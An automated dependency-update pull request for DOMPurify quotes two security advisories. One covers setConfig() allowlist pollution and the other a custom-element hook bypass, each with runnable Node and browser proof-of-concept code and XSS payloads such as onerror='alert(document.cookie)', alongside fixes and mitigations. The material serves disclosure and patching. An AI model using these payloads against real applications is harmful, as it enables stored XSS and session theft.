chore(deps): update dependency dompurify to v3.4.12 [security]

[renovate]

This PR contains the following updates:

Package	Change	Age	Confidence
dompurify	3.4.9 → 3.4.12

---

DOMPurify: Permanent ALLOWED_ATTR pollution via setConfig() bypassing the hook clone-guard (incomplete fix of the 3.4.7 hook-pollution patch)

CVE-2026-65898 / GHSA-cmwh-pvxp-8882

More information

Details

Summary

DOMPurify 3.4.7 shipped a security fix ("permanent hook pollution") that makes a registered uponSanitizeAttribute hook's mutation of data.allowedAttributes non-persistent — so allowing an attribute for one element does not leak into later sanitize() calls. The fix clones ALLOWED_ATTR inside _parseConfig.

That guard is silently bypassed whenever the application uses the persistent-config API DOMPurify.setConfig(). setConfig() sets the module flag SET_CONFIG = true, which causes sanitize() to skip _parseConfig entirely — and the clone-guard lives inside _parseConfig. The hook is then handed the live, shared ALLOWED_ATTR object; any data.allowedAttributes[name] = true it writes mutates that shared object permanently, for the lifetime of the DOMPurify instance, across every subsequent call, and across all elements.

If an application uses setConfig() together with an uponSanitizeAttribute hook that conditionally allows a dangerous attribute (onerror, onclick, onmouseover, srcdoc, formaction, …) for "trusted" elements, then one trusted render permanently allows that attribute on untrusted, attacker-controlled content — yielding stored XSS in viewers' browsers. DOMPurify applies no separate /^on/ event-handler blocklist: attribute stripping is governed entirely by the allowlist, so a polluted allowlist is the only gate, and survival in the output is final.

---

Affected configuration (preconditions)

The vulnerability is triggered when an application does both:

1. Calls DOMPurify.setConfig(...) once (the recommended pattern for a fixed, persistent policy), and
2. Registers an uponSanitizeAttribute hook that writes data.allowedAttributes[name] = true to conditionally allow an attribute (e.g. only for elements bearing a trust marker).

This hook pattern is demonstrated in DOMPurify's own test suite, and the per-call variant of exactly this leak is what 3.4.7 was released to fix.

---

Root cause (source: src/purify.ts, v3.4.10)

The 3.4.7 clone-guard — only inside _parseConfig:

// src/purify.ts  _parseConfig()  (lines ~950-968)
// "if a hook is registered AND the set still points at the default constant, clone it.
//  The hook then mutates the clone ... and the next default-cfg call rebinds to the untouched original."
if ( ... && hooks.uponSanitizeAttribute.length > 0) {
  ALLOWED_TAGS = clone(ALLOWED_TAGS);          // line 961
}
if ( ... hooks.uponSanitizeAttribute.length > 0 ... ) {
  ALLOWED_ATTR = clone(ALLOWED_ATTR);          // line 968
}

sanitize() skips _parseConfig on the persistent-config path:

// src/purify.ts  DOMPurify.sanitize()  (line 2369)
if (!SET_CONFIG) {
  _parseConfig(cfg);          // <-- clone-guard lives in here; SKIPPED when SET_CONFIG is true
}

setConfig() sets the flag that disables the guard:

// src/purify.ts  (lines 2596-2598)
DOMPurify.setConfig = function (cfg = {}) {
  _parseConfig(cfg);
  SET_CONFIG = true;          // every later sanitize() now skips _parseConfig
};

The hook is handed the live allowlist binding, and there is no secondary event-handler defense:

// src/purify.ts (line 2088) — hook event exposes the shared object by reference
allowedAttributes: ALLOWED_ATTR,
// (line 2108) hooks.uponSanitizeAttribute executed; a write to data.allowedAttributes mutates ALLOWED_ATTR itself
// _isValidAttribute gates purely on ALLOWED_ATTR[lcName]; DOMPurify uses NO /^on/ blocklist by design.

Net: after setConfig(), the clone-guard never runs, so the hook's allowedAttributes mutation is a permanent write to the instance's shared ALLOWED_ATTR.

---

Proof of Concept

Environment: npm i dompurify@3.4.10 jsdom (Node; identical mechanism to isomorphic-dompurify, and to a browser instance).

PoC 1 — the leak (trusted render permanently allows onerror on attacker content)

const createDOMPurify = require('dompurify');
const { JSDOM } = require('jsdom');
const DP = createDOMPurify(new JSDOM('').window);

// App init: persistent policy + a hook that allows onerror ONLY for trusted, pre-vetted elements
DP.setConfig({ ALLOWED_TAGS: ['img'], ALLOWED_ATTR: ['src'] });
DP.addHook('uponSanitizeAttribute', (node, data) => {
  if (node.getAttribute && node.getAttribute('data-trusted') === '1') {
    data.allowedAttributes['onerror'] = true;        // intended: trusted-only
  }
});

// 1) A trusted widget is rendered once
DP.sanitize('<img data-trusted="1" src="x" onerror="loadWidget()">');

// 2) Later, ATTACKER-controlled content (NO data-trusted) is sanitized on the same instance
console.log(DP.sanitize('<img src="x" onerror="alert(document.cookie)">'));
// OUTPUT:  <img src="x" onerror="alert(document.cookie)">     <-- onerror SURVIVES -> XSS

PoC 2 — it is a DOMPurify state-leak, not "the app allowed on*" (attribute-agnostic)

// Same setConfig + hook shape, but the hook allows a BENIGN attribute (title).
// The leak is identical -> the defect is a shared-state mutation in DOMPurify,
// independent of which attribute the hook touches.
DP.setConfig({ ALLOWED_TAGS: ['span'], ALLOWED_ATTR: [] });
DP.addHook('uponSanitizeAttribute', (n, d) => {
  if (n.getAttribute && n.getAttribute('data-trusted') === '1') d.allowedAttributes['title'] = true;
});
DP.sanitize('<span data-trusted="1" title="ok">x</span>');
console.log(DP.sanitize('<span title="leaked">x</span>'));   // -> <span title="leaked">x</span>  (leaked)

PoC 3 — control: WITHOUT setConfig() the 3.4.7 guard holds

const DP2 = createDOMPurify(new JSDOM('').window);
DP2.addHook('uponSanitizeAttribute', (n, d) => {
  if (n.getAttribute && n.getAttribute('data-trusted') === '1') d.allowedAttributes['onerror'] = true;
});
DP2.sanitize('<img data-trusted="1" src="x" onerror="ok()">', { ALLOWED_TAGS: ['img'], ALLOWED_ATTR: ['src'] });
console.log(DP2.sanitize('<img src="x" onerror="alert(1)">', { ALLOWED_TAGS: ['img'], ALLOWED_ATTR: ['src'] }));
// OUTPUT:  <img src="x">     <-- onerror correctly STRIPPED. setConfig() is the trigger.

Persistence (observed)

• The leak persists after removeAllHooks() — removing the hook does not clean the polluted allowlist.
• It is global / cross-element — a polluted onmouseover survives on <a> and <div>, not only the originally-blessed <img>.
• It persists for the instance lifetime (survived 5/5 subsequent default calls).
• clearConfig() does restore a clean state (this is the bound of the impact).

---

Impact

Stored XSS. In a long-lived (e.g. server-side / isomorphic-dompurify) DOMPurify instance, a single trusted render flips a shared allowlist bit; every subsequent untrusted submission then inherits a live event-handler attribute and executes script in viewers' browsers. Because DOMPurify enforces no /^on/ blocklist, a surviving on* attribute is final — no secondary control prevents execution. onerror on a broken-src <img> fires with no user interaction (browser-confirmed; see Validation).

Per-call FORBID_ATTR does not mitigate. A defensive sanitize(input, { FORBID_ATTR: ['onerror'] }) is also ignored once setConfig() has been called: the per-call config is parsed by _parseConfig, which sanitize() skips entirely under SET_CONFIG. So an application cannot blunt the leak with a per-call denylist — the poisoned ALLOWED_ATTR is the sole gate.

---

Realistic attack scenario

A platform mixes admin-authored interactive widgets with user-generated content through one sanitizer instance:

1. The app installs a persistent baseline policy via setConfig({ ALLOWED_TAGS: [...], ALLOWED_ATTR: [...] }).
2. It registers an uponSanitizeAttribute hook that enables an event handler only for admin-vetted elements marked data-trusted="1", intending safe rich interactivity — a pattern the 3.4.7 fix was specifically meant to make safe.
3. An admin renders one trusted widget. From that point on, every user-submitted comment/post containing <img src=x onerror=...> passes sanitization and executes for all viewers.

---

Remediation

Extend the existing clone-guard to the persistent-config (SET_CONFIG) fast-path: when sanitize() skips _parseConfig but an uponSanitizeAttribute hook is registered, clone the allowlists before the walk so hook mutations cannot persist — the exact analogue of the guard already present in _parseConfig.

// In DOMPurify.sanitize(), replacing the bare `if (!SET_CONFIG) { _parseConfig(cfg); }`:
if (!SET_CONFIG) {
  _parseConfig(cfg);
} else if (hooks.uponSanitizeAttribute.length > 0) {
  // Persistent-config path: _parseConfig (and its clone-guard) is skipped, so a hook would
  // otherwise mutate the shared ALLOWED_ATTR/ALLOWED_TAGS permanently. Clone per call.
  if (ALLOWED_ATTR === DEFAULT_ALLOWED_ATTR || ALLOWED_ATTR === currentSetConfigAttr) {
    ALLOWED_ATTR = clone(ALLOWED_ATTR);
  }
  if (ALLOWED_TAGS === DEFAULT_ALLOWED_TAGS || ALLOWED_TAGS === currentSetConfigTags) {
    ALLOWED_TAGS = clone(ALLOWED_TAGS);
  }
}

(Equivalently: in the hook-event builder at line ~2088, hand the hook a shallow clone of ALLOWED_ATTR/ALLOWED_TAGS whenever SET_CONFIG is true, mirroring the 3.4.7 intent.)

A regression test should reproduce PoC 1 and assert the attacker call returns <img src="x">. Note the existing 3.4.7 regression test ("unguarded attribute hook does not poison subsequent default-config calls") never exercises setConfig() — adding a setConfig variant closes the gap.

Application-side mitigation until patched: prefer data.keepAttr = true (per-element, non-persistent) over data.allowedAttributes[name] = true inside hooks; or call DOMPurify.clearConfig() between trust domains; or use separate DOMPurify instances for trusted vs. untrusted content.

---

Limitations

• Requires the two-part precondition above (persistent setConfig() and a hook writing data.allowedAttributes[...]). Not a default-config bypass.
• Impact is bounded by clearConfig(), which restores a clean state. The earlier-considered "survives clearConfig()" claim did not reproduce and is withdrawn.
• A position could be adopted to "use data.keepAttr=true, not allowedAttributes[]." However, the 3.4.7 security fix exists precisely to defend the allowedAttributes[] hook pattern in the per-call path; leaving the setConfig path unguarded is an incomplete fix of an acknowledged security issue.

Validation

• Integrity: the tested dompurify@3.4.10 dist/purify.cjs.js (md5 ab0e7b1cde1cbcace0f62b6aac284143) and browser dist/purify.min.js (md5 b0985f80fa48e6e7b263f8f6a64b779e) are byte-identical to a freshly npm pack-ed release — the repro is on the real shipped code. Mechanism identical on 3.4.0, 3.4.9 and 3.4.10.
• Node (mechanism): PoCs 1–3 reproduce deterministically; DOMPurify.isValidAttribute('img','onerror','x') flips false → true after a single trusted render under setConfig(), proving the shared attribute gate is poisoned. Leak survives removeAllHooks(), is cross-element, persists for the instance lifetime, and is reset only by clearConfig().
• Real browser (impact): in Chrome with DOMPurify 3.4.10, assigning the attacker output to innerHTML executes the surviving onerror (sentinel window.__fired = ["ATTACKER-onerror"]; onerror DOM property is a function), with no user interaction. The no-setConfig A/B control does not fire — execution is attributable to the setConfig leak, not a harness artifact.

---

Appendix A — Node PoC (complete, runnable)

// poc.js  —  npm i dompurify@3.4.10 jsdom  &&  node poc.js
const createDOMPurify = require('dompurify');
const { JSDOM } = require('jsdom');
const freshDP = () => createDOMPurify(new JSDOM('').window);
const log = (s) => console.log(s);
log('DOMPurify ' + freshDP().version + '\n');

// PoC 1 — the leak: trusted render permanently allows onerror on attacker content
{
  const DP = freshDP();
  DP.setConfig({ ALLOWED_TAGS: ['img'], ALLOWED_ATTR: ['src'] });
  DP.addHook('uponSanitizeAttribute', (node, data) => {
    if (node.getAttribute && node.getAttribute('data-trusted') === '1') {
      data.allowedAttributes['onerror'] = true;            // intended: trusted-only
    }
  });
  DP.sanitize('<img data-trusted="1" src="x" onerror="loadWidget()">');            // trusted render
  const attacker = DP.sanitize('<img src="x" onerror="alert(document.cookie)">');  // attacker, no data-trusted
  log('[PoC1] attacker output  : ' + attacker);
  log('[PoC1] onerror survived : ' + /onerror/.test(attacker));
  log('[PoC1] isValidAttribute(img,onerror) -> ' + DP.isValidAttribute('img','onerror','x') + '  (shared gate poisoned)\n');
}

// PoC 2 — attribute-agnostic: a DOMPurify state-leak, not "the app allowed on*"
{
  const DP = freshDP();
  DP.setConfig({ ALLOWED_TAGS: ['span'], ALLOWED_ATTR: [] });
  DP.addHook('uponSanitizeAttribute', (n, d) => {
    if (n.getAttribute && n.getAttribute('data-trusted') === '1') d.allowedAttributes['title'] = true;
  });
  DP.sanitize('<span data-trusted="1" title="ok">x</span>');
  log('[PoC2] benign title leaks: ' + DP.sanitize('<span title="leaked">x</span>') + '\n');
}

// PoC 3 — control: WITHOUT setConfig the 3.4.7 guard holds
{
  const DP = freshDP();
  DP.addHook('uponSanitizeAttribute', (n, d) => {
    if (n.getAttribute && n.getAttribute('data-trusted') === '1') d.allowedAttributes['onerror'] = true;
  });
  DP.sanitize('<img data-trusted="1" src="x" onerror="ok()">', { ALLOWED_TAGS:['img'], ALLOWED_ATTR:['src'] });
  const ctrl = DP.sanitize('<img src="x" onerror="alert(1)">', { ALLOWED_TAGS:['img'], ALLOWED_ATTR:['src'] });
  log('[PoC3] control output   : ' + ctrl + '   stripped: ' + !/onerror/.test(ctrl) + '\n');
}

// Persistence: survives removeAllHooks(); reset only by clearConfig()
{
  const DP = freshDP();
  DP.setConfig({ ALLOWED_TAGS: ['img'], ALLOWED_ATTR: ['src'] });
  DP.addHook('uponSanitizeAttribute', (n, d) => {
    if (n.getAttribute && n.getAttribute('data-trusted') === '1') d.allowedAttributes['onerror'] = true;
  });
  DP.sanitize('<img data-trusted="1" src="x" onerror="ok()">');
  DP.removeAllHooks();
  let leaks = 0;
  for (let i = 0; i < 5; i++) if (/onerror/.test(DP.sanitize('<img src="x" onerror="alert('+i+')">'))) leaks++;
  log('[persist] survived ' + leaks + '/5 calls after removeAllHooks()');
  DP.clearConfig();
  log('[persist] after clearConfig(): ' + DP.sanitize('<img src="x" onerror="alert(1)">') + '  (reset)');
}

Expected output:

[PoC1] attacker output  : <img src="x" onerror="alert(document.cookie)">
[PoC1] onerror survived : true
[PoC1] isValidAttribute(img,onerror) -> true  (shared gate poisoned)
[PoC2] benign title leaks: <span title="leaked">x</span>
[PoC3] control output   : <img src="x">   stripped: true
[persist] survived 5/5 calls after removeAllHooks()
[persist] after clearConfig(): <img src="x">  (reset)

Appendix B — Browser PoC (complete; confirms execution)

<!doctype html><html><head><meta charset="utf-8">
<script src="https://cdn.jsdelivr.net/npm/dompurify@3.4.10/dist/purify.min.js"></script>
</head><body><pre id="out"></pre>
<script>
const log = (s) => document.getElementById('out').textContent += s + '\n';
window.__fired = [];
window.alert = (x) => window.__fired.push('alert:' + x);   // sentinel: capture exec, no modal
log('DOMPurify ' + DOMPurify.version);

// App init: persistent policy + a hook allowing onerror ONLY for trusted elements
DOMPurify.setConfig({ ALLOWED_TAGS: ['img'], ALLOWED_ATTR: ['src'] });
DOMPurify.addHook('uponSanitizeAttribute', (node, data) => {
  if (node.getAttribute && node.getAttribute('data-trusted') === '1') data.allowedAttributes['onerror'] = true;
});

DOMPurify.sanitize('<img data-trusted="1" src="x" onerror="0">');                 // one trusted render
const out = DOMPurify.sanitize('<img src="x" onerror="alert(\'XSS:\'+document.domain)">');  // attacker
log('attacker sanitized output: ' + out);
const host = document.createElement('div');
host.innerHTML = out;                            // surviving onerror arms on the broken-src img
document.body.appendChild(host);

setTimeout(() => {
  log('handlers fired: ' + JSON.stringify(window.__fired));
  log(window.__fired.length ? 'RESULT: XSS EXECUTED' : 'RESULT: no execution');
}, 500);
</script></body></html>

Observed: handlers fired: ["alert:XSS:<domain>"] → RESULT: XSS EXECUTED (no user interaction). The same harness without the setConfig() line strips onerror and does not fire.

Severity

• CVSS Score: 5.1 / 10 (Medium)
• Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N

References

• https://github.com/cure53/DOMPurify/security/advisories/GHSA-cmwh-pvxp-8882
• https://github.com/cure53/DOMPurify/pull/1482
• https://github.com/cure53/DOMPurify/commit/011bc3b2fcc4be17aa76f9030e8668207717acb9
• https://github.com/cure53/DOMPurify/releases/tag/3.4.11
• https://github.com/advisories/GHSA-cmwh-pvxp-8882

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

---

DOMPurify: CUSTOM_ELEMENT_HANDLING bypasses afterSanitizeElements for allowed custom elements.

GHSA-c2j3-45gr-mqc4

More information

Details

Summary

There is a possible hook-policy inconsistency in DOMPurify 3.4.11 involving CUSTOM_ELEMENT_HANDLING.

When a custom element is allowed via CUSTOM_ELEMENT_HANDLING.tagNameCheck, it appears that the element does not go through afterSanitizeElements in the same way as a normal element. As a result, an application that relies on afterSanitizeElements as a security policy layer to strip sensitive attributes from all elements may see those attributes removed from normal elements but preserved on allowed custom elements.

This does not appear to be a direct DOMPurify XSS or a case where DOMPurify directly allows executable payloads. The preserved value is still inert at sanitize time. The issue becomes relevant when the allowed custom element later re-injects that attribute value into an HTML sink such as innerHTML, creating a second-order XSS gadget.

Details

The issue appears to originate from the control flow in src/purify.ts: line 1672~1691

const _sanitizeDisallowedNode = function (
    currentNode: any,
    tagName: string
  ): boolean {
    /* Check if we have a custom element to handle */
    if (!FORBID_TAGS[tagName] && _isBasicCustomElement(tagName)) {
      if (
        CUSTOM_ELEMENT_HANDLING.tagNameCheck instanceof RegExp &&
        regExpTest(CUSTOM_ELEMENT_HANDLING.tagNameCheck, tagName)
      ) {
        return false;
      }

      if (
        CUSTOM_ELEMENT_HANDLING.tagNameCheck instanceof Function &&
        CUSTOM_ELEMENT_HANDLING.tagNameCheck(tagName)
      ) {
        return false;
      }
    }

CUSTOM_ELEMENT_HANDLING is parsed from user configuration at src/purify.ts: line 741~748

const customElementHandling =
      objectHasOwnProperty(cfg, 'CUSTOM_ELEMENT_HANDLING') &&
      cfg.CUSTOM_ELEMENT_HANDLING &&
      typeof cfg.CUSTOM_ELEMENT_HANDLING === 'object'
        ? clone(cfg.CUSTOM_ELEMENT_HANDLING)
        : create(null);

    CUSTOM_ELEMENT_HANDLING = create(null);

In particular, tagNameCheck, attributeNameCheck, and allowCustomizedBuiltInElements are copied into the internal CUSTOM_ELEMENT_HANDLING object there.

During element sanitization, _sanitizeElements() checks whether a node is forbidden or not allowlisted at src/purify.ts: line 1805~1814

/* Remove element if anything forbids its presence */
    if (
      FORBID_TAGS[tagName] ||
      (!(
        EXTRA_ELEMENT_HANDLING.tagCheck instanceof Function &&
        EXTRA_ELEMENT_HANDLING.tagCheck(tagName)
      ) &&
        !ALLOWED_TAGS[tagName])
    ) {
      return _sanitizeDisallowedNode(currentNode, tagName);
    }

If so, it immediately delegates to _sanitizeDisallowedNode(currentNode, tagName) and returns its boolean result.

Inside _sanitizeDisallowedNode(), the custom-element-specific allow path is implemented at src/purify.ts: line 1672~1692

const _sanitizeDisallowedNode = function (
    currentNode: any,
    tagName: string
  ): boolean {
    /* Check if we have a custom element to handle */
    if (!FORBID_TAGS[tagName] && _isBasicCustomElement(tagName)) {
      if (
        CUSTOM_ELEMENT_HANDLING.tagNameCheck instanceof RegExp &&
        regExpTest(CUSTOM_ELEMENT_HANDLING.tagNameCheck, tagName)
      ) {
        return false;
      }

      if (
        CUSTOM_ELEMENT_HANDLING.tagNameCheck instanceof Function &&
        CUSTOM_ELEMENT_HANDLING.tagNameCheck(tagName)
      ) {
        return false;
      }
    }

If the node is treated as a basic custom element and CUSTOM_ELEMENT_HANDLING.tagNameCheck matches, the function returns false immediately at line 1682 or 1689, meaning “do not remove this node”.

That early return false is significant because control returns directly to _sanitizeElements() via the return _sanitizeDisallowedNode(...) at line 1813. As a result, the later logic in _sanitizeElements() is skipped for that custom element instance, including:

• the namespace validation at src/purify.ts: line 1816~1826

* Check whether element has a valid namespace.
       Realm-safe check (GHSA-hpcv-96wg-7vj8): use the cached Node.prototype
       nodeType getter rather than `instanceof Element`, which is realm-
       bound and short-circuits to false for any node minted in a different
       realm — letting a foreign-realm element with a forbidden namespace
       slip past the namespace check entirely. */
    const nt = getNodeType ? getNodeType(currentNode) : currentNode.nodeType;
    if (nt === NODE_TYPE.element && !_checkValidNamespace(currentNode)) {
      _forceRemove(currentNode);
      return true;
    }

• the fallback-tag mXSS check at src/purify.ts: line 1828~1837

/* Make sure that older browsers don't get fallback-tag mXSS */
    if (
      (tagName === 'noscript' ||
        tagName === 'noembed' ||
        tagName === 'noframes') &&
      regExpTest(EXPRESSIONS.FALLBACK_TAG_CLOSE, currentNode.innerHTML)
    ) {
      _forceRemove(currentNode);
      return true;
    }

• most importantly for this report, the afterSanitizeElements hook dispatch at src/purify.ts: line 1850~1851.

   /* Execute a hook if present */
    _executeHooks(hooks.afterSanitizeElements, currentNode, null);

In other words, a normal allowlisted element continues through _sanitizeElements() and reaches hooks.afterSanitizeElements, but a disallowed-by-default element that is revived by the CUSTOM_ELEMENT_HANDLING.tagNameCheck path does not. This creates a policy inconsistency: an application that relies on afterSanitizeElements to remove an attribute from all elements will observe that the policy is applied to normal elements but not to custom elements allowed through CUSTOM_ELEMENT_HANDLING.

In the PoC, the application hook removes data-bio from ordinary elements, but the same attribute remains on <x-bio> because the custom-element keep path bypasses afterSanitizeElements. The attribute itself is inert at sanitize time and DOMPurify is not directly allowing executable SVG/HTML through. The security impact appears when the application-defined custom element later reads the preserved data-bio value in connectedCallback() and writes it to innerHTML, turning the preserved attribute into a second-order XSS gadget.

PoC

Reproduced on DOMPurify 3.4.11.

Steps

1. Save the following HTML to a file, for example poc.html.
2. Open it in a browser.
3. Observe that the div control loses data-bio, while the allowed custom element keeps it.
4. Observe that after connectedCallback() runs, the candidate payload is reinserted into the DOM and executes through the custom element’s own sink.

HTML PoC

<!DOCTYPE html>
<html>
<head>
  <meta charset="UTF-8">
  <script src="https://cdnjs.cloudflare.com/ajax/libs/dompurify/3.4.11/purify.min.js"></script>
</head>
<body>
<pre id="result"></pre>

<script>
window.__controlFired = false;
window.__candidateFired = false;

customElements.define("x-bio", class extends HTMLElement {
  connectedCallback() {
    const bio = this.getAttribute("data-bio");
    if (bio) this.innerHTML = bio;
  }
});

DOMPurify.addHook("afterSanitizeElements", node => {
  if (node.hasAttribute && node.hasAttribute("data-bio")) {
    node.removeAttribute("data-bio");
  }
});

const config = {
  CUSTOM_ELEMENT_HANDLING: {
    tagNameCheck: /^x-/
  }
};

const controlInput =
  '<div data-bio="&lt;img src=x onerror=window.__controlFired=true&gt;"></div>';

const candidateInput =
  '<x-bio data-bio="&lt;img src=x onerror=window.__candidateFired=true&gt;"></x-bio>';

const cleanControl = DOMPurify.sanitize(controlInput, config);
const cleanCandidate = DOMPurify.sanitize(candidateInput, config);

const container = document.createElement("div");
container.innerHTML = cleanCandidate;
document.body.appendChild(container);

setTimeout(() => {
  document.getElementById("result").textContent =
    "This is not direct DOMPurify XSS.\n" +
    "The payload becomes executable only after x-bio writes data-bio into innerHTML.\n\n" +
    "control: " + cleanControl + "\n" +
    "candidate: " + cleanCandidate + "\n" +
    "after connectedCallback: " + container.innerHTML + "\n" +
    "control fired: " + window.__controlFired + "\n" +
    "candidate fired: " + window.__candidateFired;
}, 100);
</script>
</body>
</html>

Expected result

control: <div></div>
candidate: <x-bio data-bio="<img src=x onerror=window.__candidateFired=true>"></x-bio>
after connectedCallback: <x-bio data-bio="..."><img src="x" onerror="window.__candidateFired=true"></x-bio>
control fired: false
candidate fired: true

This is output of HTML PoC.

Impact

This does not appear to affect DOMPurify’s default configuration as a direct sanitizer bypass.

The impact is limited to applications that:

• enable CUSTOM_ELEMENT_HANDLING,
• rely on afterSanitizeElements as a security policy layer,
• expect that hook to apply uniformly to all surviving elements,
• and have allowed custom elements that later re-inject preserved attribute values into innerHTML or another HTML sink.

In that situation, the behavior can become a second-order XSS gadget because a security-relevant attribute is removed from normal elements but remains on allowed custom elements.

Possible fixes or mitigations might include

• ensuring that allowed custom elements also consistently pass through afterSanitizeElements
• documenting clearly that elements preserved via CUSTOM_ELEMENT_HANDLING may not participate in the same post-element hook flow as normal allowlisted elements.

Severity

• CVSS Score: 2.1 / 10 (Low)
• Vector String: CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N

References

• https://github.com/cure53/DOMPurify/security/advisories/GHSA-c2j3-45gr-mqc4
• https://github.com/cure53/DOMPurify/pull/1537
• https://github.com/cure53/DOMPurify/commit/a9ca1e537422319a557a9a2aa61f003b23b4a197
• https://github.com/cure53/DOMPurify/releases/tag/3.4.12
• https://github.com/advisories/GHSA-c2j3-45gr-mqc4

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

---

Release Notes

cure53/DOMPurify (dompurify)

v3.4.12: DOMPurify 3.4.12

Compare Source

• Fixed an issue where a hook would not get called for custom elements, thanks @​Rikuxx0
• Hardened the handling of hooks removing elements, @​mkrause-bee360
• Added support for a few new SVG attributes, thanks @​cbn-falias & @​Develop-KIM
• Hardened the handling of declarative partial updates
• Updated the documentation is several spots, README, wiki, etc.
• Bumped several dependencies where possible

v3.4.11: DOMPurify 3.4.11

Compare Source

• Fixed an issue with a leaky config for hooks via setConfig, thanks @​trace37labs
• Bumped vulnerable development dependencies to arrive at plain 0 with npm audit
• Updated the osv-scanner suppression list as no vulnerable dependencies are left for now
• Updated up the linting tool-chain and removed now-redundant lint directives
• Updated the documentation is several spots, README, wiki, etc.
• Bumped several dependencies where possible

v3.4.10: DOMPurify 3.4.10

Compare Source

• Refactored codebase for clarity: extracted the public type declarations into types.ts
• Decomposed the three largest sanitizer functions into focused helpers
• Removed duplicated defaults and dead branches, consolidated SAFE_FOR_TEMPLATES scrubbing into single shared path
• Improved per-node performance by hoisting the mXSS probe regexes and testing textContent before innerHTML
• Added a deterministic micro-benchmark harness (npm run bench) with a --compare mode
• Reduced CI cost by running the full three-engine browser suite once per PR
• Refreshed the demos/ folder so every demo runs again, and added a SVG-via-<img> demo
• Documented the bench and test:happydom scripts in the README
• Completed the Attack Classes & Bypass History wiki page
• Bumped several dependencies where possible

---

Configuration

📅 Schedule: (UTC)

• Branch creation
  • At any time (no schedule defined)
• Automerge
  • At any time (no schedule defined)

🚦 Automerge: Enabled.

♻ Rebasing: Never, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.

---

• If you want to rebase/retry this PR, check this box

---

This PR was generated by Mend Renovate. View the repository job log.

[vercel]

The latest updates on your projects. Learn more about Vercel for GitHub.

Project	Deployment	Actions	Updated (UTC)
ui-kit	Ready	Preview	Aug 5, 2026 6:41pm

[changeset-bot]

⚠️ No Changeset found

Latest commit: 313c498

Merging this PR will not cause a version bump for any packages. If these changes should not result in a new version, you're good to go. If these changes should result in a version bump, you need to add a changeset.

This PR includes no changesets

When changesets are added to this PR, you'll see the packages that this PR includes changesets for and the associated semver types

Click here to learn what changesets are, and how to add one.

Click here if you're a maintainer who wants to add a changeset to this PR